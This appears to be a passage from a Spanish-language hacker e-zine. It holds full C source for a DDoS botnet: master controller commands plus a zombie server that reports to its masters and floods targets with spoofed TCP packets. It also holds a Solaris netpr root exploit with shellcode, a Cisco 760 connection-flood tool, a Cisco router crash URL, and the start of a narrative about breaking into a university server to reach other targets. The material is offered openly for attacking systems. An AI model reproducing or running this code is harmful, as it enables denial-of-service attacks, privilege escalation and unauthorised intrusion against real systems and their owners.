arg[0] = strtok(ibuf, " ");
arg[1] = strtok(NULL, " ");
arg[2] = strtok(NULL, " ");
arg[3] = NULL;
if (arg[2]) nlstr(arg[2]);
if (!strncmp(arg[0], "stream", 6)) {
struct hostent *hp;
struct in_addr ia;
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: stream <hostname> <seconds>\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
if ((hp = gethostbyname(arg[1])) == NULL) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]);
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n", arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "quit", 4)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n", users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
if (!strncmp(arg[0], "servers", 7)) {
FILE *f;
char line[1024];
if ((f = fopen(SERVERFILE, "r")) == NULL) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
f = fopen(SERVERFILE, "w");
fclose(f);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "The following ips are known servers: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
send(users[i].fd, &line, strlen(line), 0);
}
fclose(f);
}
if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nAvailable commands: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "stream\t\t--\tstream attack !\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "servers\t\t--\tPrints all known servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "ping\t\t--\tping all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "who\t\t--\ttells you the ips of the people logged in\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a time\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "who", 3)) {
int x;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nCurrently Online: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
for (x = 0 ; x <= MAXUSERS ; x++) {
memset(&obuf, 0, sizeof obuf);
if (users[x].opts & USED && users[x].opts & AUTH) {
snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "ping", 4)) {
pongs = 0;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Pinging all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall("ping");
}
if (!strncmp(arg[0], "mstream", 7)) {
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: mstream <ip1:ip2:ip3:...> <seconds>\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n", arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall("mstream/%s/%s\n", arg[1], arg[2]);
}
prompt(users[i].fd);
}
}
}
}
}
int findfree (void) {
int i;
for (i = 0 ; i <= MAXUSERS ; i++) {
if (!(users[i].opts & USED)) return i;
}
return -1;
}
void forkbg (void) {
int pid;
pid = fork();
if (pid == -1) {
perror("fork");
exit(0);
}
if (pid > 0) {
printf("Forked into background, pid %d\n", pid);
exit(0);
}
}
void nlstr (char *str) {
int i;
for (i = 0 ; str[i] != NULL ; i++)
if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0';
}
void send2server (u_long addr, char *str, ...) {
va_list vl;
char buf[1024];
int fd;
struct sockaddr_in sock;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = addr;
memset(&sock.sin_zero, 0, 8);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
void tof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]+=50;
}
void fof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]-=50;
}
void sendtoall (char *str, ...) {
va_list vl;
char buf[1024], line[1024];
struct sockaddr_in sock;
int fd;
FILE *f;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
memset(&sock.sin_zero, 0, 8);
if ((f = fopen(SERVERFILE, "r")) == NULL) {
f = fopen(SERVERFILE, "w");
fclose(f);
return;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
sock.sin_addr.s_addr = inet_addr(line);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
}
void prompt (int fd) {
char buf[5];
memset(&buf, 0, sizeof buf);
sprintf(buf, "> ");
send(fd, &buf, strlen(buf), 0);
}
int maxfd (int extra1, int extra2) {
int mfd = 0, i;
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
mfd = max(mfd, users[i].fd);
mfd = max(max(extra1, extra2), mfd);
return mfd;
}
void sighandle (int sig) {
int i;
char obuf[1024];
memset(&obuf, 0, sizeof obuf);
switch (sig) {
case SIGHUP:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
break;
case SIGINT:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
break;
case SIGSEGV:
snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
break;
default:
snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
}
for (i = 0 ; i <= MAXUSERS ; i++)
if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
if (sig == SIGSEGV) exit(1);
}
------------------------
server.c
------------------------
/* spwn */
char *m[]={
"1.1.1.1", /* first master */
"2.2.2.2", /* second master */
"3.3.3.3", /* third master etc */
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
#include <sys/time.h>
#include <strings.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/uio.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
void forkbg (void);
void send2master (char *, struct in_addr);
void stream (int, int, u_long, char **);
void nlstr (char *);
int main (int argc, char *argv[])
{
struct in_addr ia;
struct sockaddr_in sock, remote;
int fd, socksize, opt = 1, i;
char buf[1024];
if (getuid() != 0) {
fprintf(stderr, "Must be ran as root.\n");
exit(0);
}
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
exit(0);
}
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = INADDR_ANY;
memset(&sock.sin_zero, 0, 8);
if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
forkbg();
for (i = 0 ; m[i] != 0 ; i++) {
ia.s_addr = inet_addr(m[i]);
send2master("newserver", ia);
}
for (;;) {
socksize = sizeof(struct sockaddr);
memset(&buf, 0, sizeof buf);
if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) <= 0) continue;
if (!strncmp(buf, "stream", 6)) {
char *ip;
int seconds;
nlstr(buf);
(void)strtok(buf, "/");
ip = strtok(NULL, "/");
seconds = atoi(strtok(NULL, "/"));
stream(0, (seconds + time(0)), inet_addr(ip), NULL);
}
if (!strncmp(buf, "mstream", 7)) {
char *ips, *ipps[50], *tmpip;
int seconds, y = 1;
nlstr(buf);
(void)strtok(buf, "/");
ips = strtok(NULL, "/");
seconds = atoi(strtok(NULL, "/"));
if ((tmpip = strtok(ips, ":")) == NULL) continue;
ipps[0] = (char *) malloc(strlen(tmpip)+2);
strncpy(ipps[0], tmpip, strlen(tmpip)+2);
y = 1;
while ((tmpip = strtok(NULL, ":")) != NULL) {
ipps[y] = (char *)malloc(strlen(tmpip)+2);
strncpy(ipps[y], tmpip, strlen(tmpip)+2);
y++;
}
ipps[y] = NULL;
stream(1, (seconds + time(0)), NULL, ipps);
for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
}
if (!strncmp(buf, "ping", 4)) {
send2master("pong", remote.sin_addr);
}
} /* for(;;) */
} /* main */
void send2master (char *buf, struct in_addr addr) {
struct sockaddr_in sock;
int fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(MASTER_PORT);
sock.sin_addr = addr;
memset(&sock.sin_zero, 0, 8);
sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
void forkbg (void) {
int pid;
pid = fork();
if (pid == -1) {
perror("fork");
exit(0);
}
if (pid > 0) {
printf("Forked into background, pid %d\n", pid);
exit(0);
}
}
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
{
struct timespec ts;
int on = 1;
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;
srand((time(NULL) ^ getpid()) + getppid());
memset(&packet, 0, sizeof packet);
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof packet);
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
if (!t)
packet.ip.ip_dst.s_addr = dstaddr;
packet.tcp.th_flags = TH_ACK;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = rand();
if (!t)
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
if (!t)
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
while (time(0) <= until) {
if (t) {
int x;
for (x = 0 ; dstaddrs[x] != NULL ; x++) {
if (!strchr(dstaddrs[x], '.')) break;
packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.daddr = inet_addr(dstaddrs[x]);
s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
} else {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
}
}
void nlstr (char *str) {
if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0';
}
------------------------
Se que este les ha gustado muchisimo ;-)
# Bug Numero Tres:
Si un servidor tiene
ip http server
en su configuracion del router y ejecutas la siguiente URL:
http://<router-ip>/%%
Se estrella el router rapidamente. No hay arreglo para esto por ahora, y
si salio no todos lo habran instalado asi que...a estrellar sistemas pero
no olviden mencionar RareGaZz ;)
# Bug Numero Cuatro:
Root en sistemas SPARC Solaris gracias a netpr. El siguiente script te dara
root de forma instantanea.
-----------------------
/**
*** netprex - SPARC Solaris root para /usr/lib/lp/bin/netpr
***
*** Probado y confirmado bajo Solaris 2.6 y 7 (SPARC)
***
*** Uso: % netprex -h hostname [-o offset] [-a alignment]
***
*** donde hostname es el nombre de cualquier host ejecutando el servicio de
*** impresion en TCP puerto 515, offset es el numero de bytes a a¤adir al
*** %sp stack pointer para calcular la direccion deseada de regreso, y
*** alignment es el numero de bytes que necesitas para alinear correctamente
*** el primer NOP dentro del buffer del exploit.
***
*** Los parametros offset y alignment tienen valores defaults asi que no
*** necesitan ser especificados.
***
*** Cheez Whiz / ADM
*** cheezbeast@hotmail.com
***
**/
/* Copyright (c) 1999 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80
#define OFFSET 1600 /* default offset */
#define ALIGNMENT 1 /* default alignment */
#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shell[] =
/* setuid: */
/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */
/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */
/* alarm: */
/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */
/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */
/* execve: */
/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */
/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */
/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */
/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */
/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */
/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] */
/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] */
/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] */
/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */
extern char *optarg;
unsigned long int
get_sp()
{
__asm__("or %sp,%sp,%i0");
}
int
main(int argc, char *argv[])
{
unsigned long int sp, addr;
int c, i, offset, alignment;
char *program, *hostname, buf[BUFLEN+1], *cp;
program = argv[0];
hostname = "localhost";
offset = OFFSET;
alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
default:
fprintf(stderr, "usage: %s -h hostname [-o offset] "
"[-a alignment]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
memcpy(cp, shell, strlen(shell));
sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
buf[BUFLEN] = '\0';
fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
execle("/usr/lib/lp/bin/netpr",
"netpr",
"-I", "ADM-ADM",
"-U", "ADM!ADM",
"-p", buf,
"-d", hostname,
"-P", "bsd",
"/etc/passwd", NULL, NULL);
fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
exit(1);
}
-----------------------
# Bug Numero Cinco:
Cuando abres 98 conexiones al puerto 23 de un router 760 Cisco se desconecta
y se rebotea. Si mantienes las conexiones abiertas se convierte en un
ataque de negacion de servicio.
-----------------------
/* Cisco 760 Series Connection Overflow
*
*
* Written by: Tiz.Telesup
* Affected Systems: Routers Cisco 760 Series, I havn't tested anymore
* Tested on: FreeBSD 4.0 and Linux RedHat 6.0
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);
void net_write (int fd, const char *str, ...);
unsigned long int net_resolve (char *host);
void
usage (void)
{
printf ("usage: ./cisco host times\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
char host[256];
int port,times,count,sd = 0;
int m = 0;
struct sockaddr_in cs;
printf ("Cisco 760 series Connection Overflow.\n");
printf ("-------------------------------------\n");
if (argc < 3)
usage();
strcpy (host, argv[1]);
times=atoi (argv[2]);
if ((times < 1) || (times > 10000)) /*Maximum number of connections*/
usage();
port =23; /* This might be changed to the telnet port of the router*/
printf ("Host: %s Times: %d\n", host, times);
for (count=0;count<times;count++){
printf ("Connecting... Connection number %d \n",count);
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);
if (sd < 1) {
printf ("failed!\n");
exit (EXIT_FAILURE);
}
net_write (sd, "AAAA\n\n");
}
exit (EXIT_SUCCESS);
}
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
void
net_write (int fd, const char *str, ...)
{
char tmp[8192];
va_list vl;
int i;
va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);
va_end(vl);
send(fd, tmp, i, 0);
return;
}
-----------------------
Espero hayan disfrutado este texto y ojala me perdonen por no incluir
algunos bugs demasiado faciles de ejecutar que ponian en peligro de forma
innecesaria la integridad de un sistema ( ¨¨ que me estara pasando! ?? ).
-=| * |=- -=| * |=- -=| * |=- -=| * |=- -=| * |=-
RareTrip@CyberDude.com
"If it moves, Kiss it"
-=| * |=- -=| * |=- -=| * |=- -=| * |=- -=| * |=-
ICQ ID# 72916067
+------+-------------------------------------------+----------+--------------+
| +-->| Root con 10 minutos |<---------| ReYDeS |
+->|<--> r17_06 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
|
+----> Advertencia <----+
| |
Todos los hechos narrados en el presente texto, han sido realizados
por el autor del mismo. RareGaZz - Team, no se reponsabiliza de lo expresado
en estos codigos ASCII.
| |
+---> Fin de Advertencia+--
+-------------+
-+---> INDICE |
+-------+
0000. Minuto 0 |
0001. Minuto 1 |
0010. Minuto 2 |
0011. Minuto 3 |
0100. Minuto 4 |
0101. Minuto 5 |
0110. Minuto 6 |
0111. Minuto 7 |
1000. Minuto 8 |
1001. Minuto 9 |
1010. Minuto 10 |
|<------+---
1011. El bug |
1100. Notas |
|--+|<----------------+
+----------------------+
|--> 0000. Minuto 0 <--|
+----------------------+
Instancias Preliminares...
Parecia un dia comun, en el cual tenia que madrugar para ir a mis
clases matutinas en la universidad. Y obtengo un root que no habia
planificado; afectado por diversos factores; como el tener que ir a clases y
la falta de tiempo.
El Objetivo...
Un server que estaba en mi "lista negra" de servers objetivo, mejor
seria decir en stand-by. Un server de un "conocido", bueno no tan conocido,
pero creo que NO me denunciara por esto. :D
Lugar, tiempo y epoca...
Frente a una PC, un dia de invierno del a~o 2000, y la epoca?... pues
que tal... post-guerra!.
|
+--> Vamos con el menjunje este, que es lo que todos estan esperando. Voy a
hacer esto en forma de una narracion y por alli colocare algunos recortes del
log del ingreso. Ademas los "*" que aparecen por alli, los he colocado yo
exprofesamente, ademas de que algunos IP's han sido manipulados.
<--+
|
+----------------------+
|--> 0001. Minuto 1 <--|
+----------------------+
Caray!... empezamos con dificultades, dos de cuatro servers en donde
residen algunos shells, no estan funcionando de la mejor manera. Que hago
entonces???... hmmm!... ya!... como se me habia olvidado?, por alli hay un
servidor que pertenece a unos matematicos; mejor seria decir; que sirve a
usuarios que pertenecen a una facultad de matematicas. Asi es que CON/SIN
permiso, voy a tener que hacer uso de su distinguido servidor y desde alli,
llegar a mi objetivo.
Despues de unos telnet's...
> Trying 161.132.23*.***...
> Connected to ****.*****.edu.pe.
> Escape character is '^]'.
>
> Red Hat Linux release *.* (******)
> Kernel 2.2.12-20 on an i686
> login: ReYDeS
> Password: ******* (ReYDeS) ... jeje (Ustedes creen?)
> Last login: Tue Jul 11 00:17:58 from localhost
Permiso!, permiso que estoy entrando!... hmm!... este usuario esta
mejor... con el otro tenia que forzar una shell!... ademas pareciera que me
cambiaron su password. Pero este tiene un poquitin mas de privilegios. :X
+----------------------+
|--> 0010. Minuto 2 <--|
+----------------------+
Parece ser que estoy solo!... Asi es que si hay alguna mujer soltera
de unos 20 a~os, pues enviar su foto a mi e-mail. Jeje :)...bueno, bueno me
estoy desviando del tema... eso solo en teoria...
> [ReYDeS@]$ finger
>
> Login Name Tty Idle Login Time Office Office
> ReYDeS averiguenlo. /0 Jul 11 00:07 (localhost)
Va!... no perdamos tiempo!... y vamos con lo que quiero hacer hoy. Que
quiero hacer hoy?... por aqui sonaria eso de; hasta donde quieres llegar
hoy?... que?... estoy delirando!, excuse me!.
Bien, entonces reviso mi lista, y tenemos tres servidores... voy a
comprobar si en alguno de ellos se encuentra esta falla; y de esta manera
explotarlo!. Y se estaran preguntando?... cual es ese bug?... hmmm pues... una
breve explicacion de este bug esta en la penultima seccion, denominada 'El
bug'.
+----------------------+
|--> 0011. Minuto 3 <--|
+----------------------+
Necesito un compilador... y lo obtengo!...chesu!... que bueno que
soy!. Bueno, alguien tiene que darme animos!; y como no veo a nadie mas; me
los proporciono yo. Ahora... voy a compilar y a probar. El eterno ciclo de
prueba y error, y si hay error, vuelve a probar!.
> [ReYDeS@]$ cc -o bugftp bugftp.c
Ya esta!... Ahora veamos una peque~a ayuda; tal vez algunos de ustedes
ni se enteraron. :)
> [ReYDeS@]$ bugftp -help
Usage: ./bugftp -t <target> [-l user/pass] [-s systype] [-o offset] [-g]
[-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
...
..
.
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
...
..
.
+----------------------+
|--> 0100. Minuto 4 <--|
+----------------------+
Ya tengo el binario en su lugar... jeje... voy a probarlo. Haber quien
quiere ser primero?... mejor lanzo mi moneda de tres caras (imaginensela) al
aire para saber, cual de los tres servers es el premiado.
Y el ganador es;... pues que casualidad!... el mismo server donde
